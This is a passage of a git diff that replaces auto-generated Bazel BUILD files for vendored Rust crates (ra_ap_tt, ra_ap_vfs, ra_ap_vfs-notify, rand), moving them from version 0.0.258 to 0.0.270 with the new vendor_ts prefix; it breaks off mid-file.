+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_tt-0.0.270.bazel
@@ -0,0 +1,94 @@
+###############################################################################
+# @generated
+# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
+# regenerate this file, run the following:
+#
+#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
+###############################################################################
+
+load("@rules_rust//rust:defs.bzl", "rust_library")
+
+package(default_visibility = ["//visibility:public"])
+
+rust_library(
+    name = "ra_ap_tt",
+    srcs = glob(
+        include = ["**/*.rs"],
+        allow_empty = True,
+    ),
+    aliases = {
+        "@vendor_ts__ra_ap_intern-0.0.270//:ra_ap_intern": "intern",
+        "@vendor_ts__ra_ap_stdx-0.0.270//:ra_ap_stdx": "stdx",
+    },
+    compile_data = glob(
+        include = ["**"],
+        allow_empty = True,
+        exclude = [
+            "**/* *",
+            ".tmp_git_root/**/*",
+            "BUILD",
+            "BUILD.bazel",
+            "WORKSPACE",
+            "WORKSPACE.bazel",
+        ],
+    ),
+    crate_root = "src/lib.rs",
+    edition = "2024",
+    rustc_flags = [
+        "--cap-lints=allow",
+    ],
+    tags = [
+        "cargo-bazel",
+        "crate-name=ra_ap_tt",
+        "manual",
+        "noclippy",
+        "norustfmt",
+    ],
+    target_compatible_with = select({
+        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
+        "@rules_rust//rust/platform:aarch64-linux-android": [],
+        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
+        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
+        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
+        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:i686-apple-darwin": [],
+        "@rules_rust//rust/platform:i686-linux-android": [],
+        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
+        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
+        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
+        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
+        "@rules_rust//rust/platform:wasm32-wasip1": [],
+        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
+        "@rules_rust//rust/platform:x86_64-apple-ios": [],
+        "@rules_rust//rust/platform:x86_64-linux-android": [],
+        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
+        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-none": [],
+        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
+        "//conditions:default": ["@platforms//:incompatible"],
+    }),
+    version = "0.0.270",
+    deps = [
+        "@vendor_ts__arrayvec-0.7.6//:arrayvec",
+        "@vendor_ts__ra-ap-rustc_lexer-0.100.0//:ra_ap_rustc_lexer",
+        "@vendor_ts__ra_ap_intern-0.0.270//:ra_ap_intern",
+        "@vendor_ts__ra_ap_stdx-0.0.270//:ra_ap_stdx",
+        "@vendor_ts__text-size-1.1.1//:text_size",
+    ],
+)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_vfs-0.0.258.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_vfs-0.0.258.bazel
deleted file mode 100644
index e370e63c4a08..000000000000
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_vfs-0.0.258.bazel
+++ /dev/null
@@ -1,97 +0,0 @@
-###############################################################################
-# @generated
-# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
-# regenerate this file, run the following:
-#
-#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
-###############################################################################
-
-load("@rules_rust//rust:defs.bzl", "rust_library")
-
-package(default_visibility = ["//visibility:public"])
-
-rust_library(
-    name = "ra_ap_vfs",
-    srcs = glob(
-        include = ["**/*.rs"],
-        allow_empty = True,
-    ),
-    aliases = {
-        "@vendor__ra_ap_paths-0.0.258//:ra_ap_paths": "paths",
-        "@vendor__ra_ap_stdx-0.0.258//:ra_ap_stdx": "stdx",
-    },
-    compile_data = glob(
-        include = ["**"],
-        allow_empty = True,
-        exclude = [
-            "**/* *",
-            ".tmp_git_root/**/*",
-            "BUILD",
-            "BUILD.bazel",
-            "WORKSPACE",
-            "WORKSPACE.bazel",
-        ],
-    ),
-    crate_root = "src/lib.rs",
-    edition = "2021",
-    rustc_flags = [
-        "--cap-lints=allow",
-    ],
-    tags = [
-        "cargo-bazel",
-        "crate-name=ra_ap_vfs",
-        "manual",
-        "noclippy",
-        "norustfmt",
-    ],
-    target_compatible_with = select({
-        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
-        "@rules_rust//rust/platform:aarch64-apple-ios": [],
-        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
-        "@rules_rust//rust/platform:aarch64-linux-android": [],
-        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
-        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
-        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
-        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
-        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
-        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
-        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
-        "@rules_rust//rust/platform:i686-apple-darwin": [],
-        "@rules_rust//rust/platform:i686-linux-android": [],
-        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
-        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
-        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
-        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
-        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
-        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
-        "@rules_rust//rust/platform:wasm32-wasip1": [],
-        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
-        "@rules_rust//rust/platform:x86_64-apple-ios": [],
-        "@rules_rust//rust/platform:x86_64-linux-android": [],
-        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
-        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
-        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
-        "@rules_rust//rust/platform:x86_64-unknown-none": [],
-        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
-        "//conditions:default": ["@platforms//:incompatible"],
-    }),
-    version = "0.0.258",
-    deps = [
-        "@vendor__crossbeam-channel-0.5.14//:crossbeam_channel",
-        "@vendor__fst-0.4.7//:fst",
-        "@vendor__indexmap-2.7.0//:indexmap",
-        "@vendor__nohash-hasher-0.2.0//:nohash_hasher",
-        "@vendor__ra_ap_paths-0.0.258//:ra_ap_paths",
-        "@vendor__ra_ap_stdx-0.0.258//:ra_ap_stdx",
-        "@vendor__rustc-hash-2.1.0//:rustc_hash",
-        "@vendor__tracing-0.1.41//:tracing",
-    ],
-)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_vfs-0.0.270.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_vfs-0.0.270.bazel
new file mode 100644
index 000000000000..3990da07910f
--- /dev/null
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_vfs-0.0.270.bazel
@@ -0,0 +1,97 @@
+###############################################################################
+# @generated
+# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
+# regenerate this file, run the following:
+#
+#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
+###############################################################################
+
+load("@rules_rust//rust:defs.bzl", "rust_library")
+
+package(default_visibility = ["//visibility:public"])
+
+rust_library(
+    name = "ra_ap_vfs",
+    srcs = glob(
+        include = ["**/*.rs"],
+        allow_empty = True,
+    ),
+    aliases = {
+        "@vendor_ts__ra_ap_paths-0.0.270//:ra_ap_paths": "paths",
+        "@vendor_ts__ra_ap_stdx-0.0.270//:ra_ap_stdx": "stdx",
+    },
+    compile_data = glob(
+        include = ["**"],
+        allow_empty = True,
+        exclude = [
+            "**/* *",
+            ".tmp_git_root/**/*",
+            "BUILD",
+            "BUILD.bazel",
+            "WORKSPACE",
+            "WORKSPACE.bazel",
+        ],
+    ),
+    crate_root = "src/lib.rs",
+    edition = "2024",
+    rustc_flags = [
+        "--cap-lints=allow",
+    ],
+    tags = [
+        "cargo-bazel",
+        "crate-name=ra_ap_vfs",
+        "manual",
+        "noclippy",
+        "norustfmt",
+    ],
+    target_compatible_with = select({
+        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
+        "@rules_rust//rust/platform:aarch64-linux-android": [],
+        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
+        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
+        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
+        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:i686-apple-darwin": [],
+        "@rules_rust//rust/platform:i686-linux-android": [],
+        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
+        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
+        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
+        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
+        "@rules_rust//rust/platform:wasm32-wasip1": [],
+        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
+        "@rules_rust//rust/platform:x86_64-apple-ios": [],
+        "@rules_rust//rust/platform:x86_64-linux-android": [],
+        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
+        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-none": [],
+        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
+        "//conditions:default": ["@platforms//:incompatible"],
+    }),
+    version = "0.0.270",
+    deps = [
+        "@vendor_ts__crossbeam-channel-0.5.14//:crossbeam_channel",
+        "@vendor_ts__fst-0.4.7//:fst",
+        "@vendor_ts__indexmap-2.7.0//:indexmap",
+        "@vendor_ts__nohash-hasher-0.2.0//:nohash_hasher",
+        "@vendor_ts__ra_ap_paths-0.0.270//:ra_ap_paths",
+        "@vendor_ts__ra_ap_stdx-0.0.270//:ra_ap_stdx",
+        "@vendor_ts__rustc-hash-2.1.1//:rustc_hash",
+        "@vendor_ts__tracing-0.1.41//:tracing",
+    ],
+)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_vfs-notify-0.0.258.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_vfs-notify-0.0.258.bazel
deleted file mode 100644
index 43deef421ae0..000000000000
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_vfs-notify-0.0.258.bazel
+++ /dev/null
@@ -1,99 +0,0 @@
-###############################################################################
-# @generated
-# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
-# regenerate this file, run the following:
-#
-#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
-###############################################################################
-
-load("@rules_rust//rust:defs.bzl", "rust_library")
-
-package(default_visibility = ["//visibility:public"])
-
-rust_library(
-    name = "ra_ap_vfs_notify",
-    srcs = glob(
-        include = ["**/*.rs"],
-        allow_empty = True,
-    ),
-    aliases = {
-        "@vendor__ra_ap_paths-0.0.258//:ra_ap_paths": "paths",
-        "@vendor__ra_ap_stdx-0.0.258//:ra_ap_stdx": "stdx",
-        "@vendor__ra_ap_vfs-0.0.258//:ra_ap_vfs": "vfs",
-    },
-    compile_data = glob(
-        include = ["**"],
-        allow_empty = True,
-        exclude = [
-            "**/* *",
-            ".tmp_git_root/**/*",
-            "BUILD",
-            "BUILD.bazel",
-            "WORKSPACE",
-            "WORKSPACE.bazel",
-        ],
-    ),
-    crate_root = "src/lib.rs",
-    edition = "2021",
-    rustc_flags = [
-        "--cap-lints=allow",
-    ],
-    tags = [
-        "cargo-bazel",
-        "crate-name=ra_ap_vfs-notify",
-        "manual",
-        "noclippy",
-        "norustfmt",
-    ],
-    target_compatible_with = select({
-        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
-        "@rules_rust//rust/platform:aarch64-apple-ios": [],
-        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
-        "@rules_rust//rust/platform:aarch64-linux-android": [],
-        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
-        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
-        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
-        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
-        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
-        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
-        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
-        "@rules_rust//rust/platform:i686-apple-darwin": [],
-        "@rules_rust//rust/platform:i686-linux-android": [],
-        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
-        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
-        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
-        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
-        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
-        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
-        "@rules_rust//rust/platform:wasm32-wasip1": [],
-        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
-        "@rules_rust//rust/platform:x86_64-apple-ios": [],
-        "@rules_rust//rust/platform:x86_64-linux-android": [],
-        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
-        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
-        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
-        "@rules_rust//rust/platform:x86_64-unknown-none": [],
-        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
-        "//conditions:default": ["@platforms//:incompatible"],
-    }),
-    version = "0.0.258",
-    deps = [
-        "@vendor__crossbeam-channel-0.5.14//:crossbeam_channel",
-        "@vendor__notify-6.1.1//:notify",
-        "@vendor__ra_ap_paths-0.0.258//:ra_ap_paths",
-        "@vendor__ra_ap_stdx-0.0.258//:ra_ap_stdx",
-        "@vendor__ra_ap_vfs-0.0.258//:ra_ap_vfs",
-        "@vendor__rayon-1.10.0//:rayon",
-        "@vendor__rustc-hash-2.1.0//:rustc_hash",
-        "@vendor__tracing-0.1.41//:tracing",
-        "@vendor__walkdir-2.5.0//:walkdir",
-    ],
-)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_vfs-notify-0.0.270.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_vfs-notify-0.0.270.bazel
new file mode 100644
index 000000000000..494979d39523
--- /dev/null
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_vfs-notify-0.0.270.bazel
@@ -0,0 +1,99 @@
+###############################################################################
+# @generated
+# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
+# regenerate this file, run the following:
+#
+#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
+###############################################################################
+
+load("@rules_rust//rust:defs.bzl", "rust_library")
+
+package(default_visibility = ["//visibility:public"])
+
+rust_library(
+    name = "ra_ap_vfs_notify",
+    srcs = glob(
+        include = ["**/*.rs"],
+        allow_empty = True,
+    ),
+    aliases = {
+        "@vendor_ts__ra_ap_paths-0.0.270//:ra_ap_paths": "paths",
+        "@vendor_ts__ra_ap_stdx-0.0.270//:ra_ap_stdx": "stdx",
+        "@vendor_ts__ra_ap_vfs-0.0.270//:ra_ap_vfs": "vfs",
+    },
+    compile_data = glob(
+        include = ["**"],
+        allow_empty = True,
+        exclude = [
+            "**/* *",
+            ".tmp_git_root/**/*",
+            "BUILD",
+            "BUILD.bazel",
+            "WORKSPACE",
+            "WORKSPACE.bazel",
+        ],
+    ),
+    crate_root = "src/lib.rs",
+    edition = "2024",
+    rustc_flags = [
+        "--cap-lints=allow",
+    ],
+    tags = [
+        "cargo-bazel",
+        "crate-name=ra_ap_vfs-notify",
+        "manual",
+        "noclippy",
+        "norustfmt",
+    ],
+    target_compatible_with = select({
+        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
+        "@rules_rust//rust/platform:aarch64-linux-android": [],
+        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
+        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
+        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
+        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:i686-apple-darwin": [],
+        "@rules_rust//rust/platform:i686-linux-android": [],
+        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
+        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
+        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
+        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
+        "@rules_rust//rust/platform:wasm32-wasip1": [],
+        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
+        "@rules_rust//rust/platform:x86_64-apple-ios": [],
+        "@rules_rust//rust/platform:x86_64-linux-android": [],
+        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
+        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-none": [],
+        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
+        "//conditions:default": ["@platforms//:incompatible"],
+    }),
+    version = "0.0.270",
+    deps = [
+        "@vendor_ts__crossbeam-channel-0.5.14//:crossbeam_channel",
+        "@vendor_ts__notify-8.0.0//:notify",
+        "@vendor_ts__ra_ap_paths-0.0.270//:ra_ap_paths",
+        "@vendor_ts__ra_ap_stdx-0.0.270//:ra_ap_stdx",
+        "@vendor_ts__ra_ap_vfs-0.0.270//:ra_ap_vfs",
+        "@vendor_ts__rayon-1.10.0//:rayon",
+        "@vendor_ts__rustc-hash-2.1.1//:rustc_hash",
+        "@vendor_ts__tracing-0.1.41//:tracing",
+        "@vendor_ts__walkdir-2.5.0//:walkdir",
+    ],
+)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.rand-0.8.5.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.rand-0.8.5.bazel
deleted file mode 100644
index de831037046f..000000000000
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.rand-0.8.5.bazel
+++ /dev/null
@@ -1,170 +0,0 @@
-###############################################################################
-# @generated
-# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
-# regenerate this file, run the following:
-#
-#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
-###############################################################################
-
-load("@rules_rust//rust:defs.bzl", "rust_library")
-
-package(default_visibility = ["//visibility:public"])
-
-rust_library(
-    name = "rand",
-    srcs = glob(
-        include = ["**/*.rs"],
-        allow_empty = True,
-    ),
-    compile_data = glob(
-        include = ["**"],
-        allow_empty = True,
-        exclude = [
-            "**/* *",
-            ".tmp_git_root/**/*",
-            "BUILD",
-            "BUILD.bazel",
-            "WORKSPACE",
-            "WORKSPACE.bazel",
-        ],
-    ),
-    crate_features = [
-        "alloc",
-        "default",
-        "getrandom",
-        "libc",
-        "rand_chacha",
-        "std",
-        "std_rng",
-    ],
-    crate_root = "src/lib.rs",
-    edition = "2018",
-    rustc_flags = [
-        "--cap-lints=allow",
-    ],
-    tags = [
-        "cargo-bazel",
-        "crate-name=rand",
-        "manual",
-        "noclippy",
-        "norustfmt",
-    ],
-    target_compatible_with = select({
-        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
-        "@rules_rust//rust/platform:aarch64-apple-ios": [],
-        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
-        "@rules_rust//rust/platform:aarch64-linux-android": [],
-        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
-        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
-        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
-        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
-        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
-        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
-        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
-        "@rules_rust//rust/platform:i686-apple-darwin": [],
-        "@rules_rust//rust/platform:i686-linux-android": [],
-        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
-        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
-        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
-        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
-        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
-        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
-        "@rules_rust//rust/platform:wasm32-wasip1": [],
-        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
-        "@rules_rust//rust/platform:x86_64-apple-ios": [],
-        "@rules_rust//rust/platform:x86_64-linux-android": [],
-        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
-        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
-        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
-        "@rules_rust//rust/platform:x86_64-unknown-none": [],
-        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
-        "//conditions:default": ["@platforms//:incompatible"],
-    }),
-    version = "0.8.5",
-    deps = [
-        "@vendor__rand_chacha-0.3.1//:rand_chacha",
-        "@vendor__rand_core-0.6.4//:rand_core",
-    ] + select({
-        "@rules_rust//rust/platform:aarch64-apple-darwin": [
-            "@vendor__libc-0.2.169//:libc",  # aarch64-apple-darwin
-        ],
-        "@rules_rust//rust/platform:aarch64-apple-ios": [
-            "@vendor__libc-0.2.169//:libc",  # aarch64-apple-ios
-        ],
-        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [
-            "@vendor__libc-0.2.169//:libc",  # aarch64-apple-ios-sim
-        ],
-        "@rules_rust//rust/platform:aarch64-linux-android": [
-            "@vendor__libc-0.2.169//:libc",  # aarch64-linux-android
-        ],
-        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [
-            "@vendor__libc-0.2.169//:libc",  # aarch64-unknown-fuchsia
-        ],
-        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [
-            "@vendor__libc-0.2.169//:libc",  # aarch64-unknown-linux-gnu
-        ],
-        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [
-            "@vendor__libc-0.2.169//:libc",  # aarch64-unknown-linux-gnu, aarch64-unknown-nixos-gnu
-        ],
-        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [
-            "@vendor__libc-0.2.169//:libc",  # aarch64-unknown-nto-qnx710
-        ],
-        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [
-            "@vendor__libc-0.2.169//:libc",  # arm-unknown-linux-gnueabi
-        ],
-        "@rules_rust//rust/platform:armv7-linux-androideabi": [
-            "@vendor__libc-0.2.169//:libc",  # armv7-linux-androideabi
-        ],
-        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [
-            "@vendor__libc-0.2.169//:libc",  # armv7-unknown-linux-gnueabi
-        ],
-        "@rules_rust//rust/platform:i686-apple-darwin": [
-            "@vendor__libc-0.2.169//:libc",  # i686-apple-darwin
-        ],
-        "@rules_rust//rust/platform:i686-linux-android": [
-            "@vendor__libc-0.2.169//:libc",  # i686-linux-android
-        ],
-        "@rules_rust//rust/platform:i686-unknown-freebsd": [
-            "@vendor__libc-0.2.169//:libc",  # i686-unknown-freebsd
-        ],
-        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [
-            "@vendor__libc-0.2.169//:libc",  # i686-unknown-linux-gnu
-        ],
-        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [
-            "@vendor__libc-0.2.169//:libc",  # powerpc-unknown-linux-gnu
-        ],
-        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [
-            "@vendor__libc-0.2.169//:libc",  # s390x-unknown-linux-gnu
-        ],
-        "@rules_rust//rust/platform:x86_64-apple-darwin": [
-            "@vendor__libc-0.2.169//:libc",  # x86_64-apple-darwin
-        ],
-        "@rules_rust//rust/platform:x86_64-apple-ios": [
-            "@vendor__libc-0.2.169//:libc",  # x86_64-apple-ios
-        ],
-        "@rules_rust//rust/platform:x86_64-linux-android": [
-            "@vendor__libc-0.2.169//:libc",  # x86_64-linux-android
-        ],
-        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [
-            "@vendor__libc-0.2.169//:libc",  # x86_64-unknown-freebsd
-        ],
-        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [
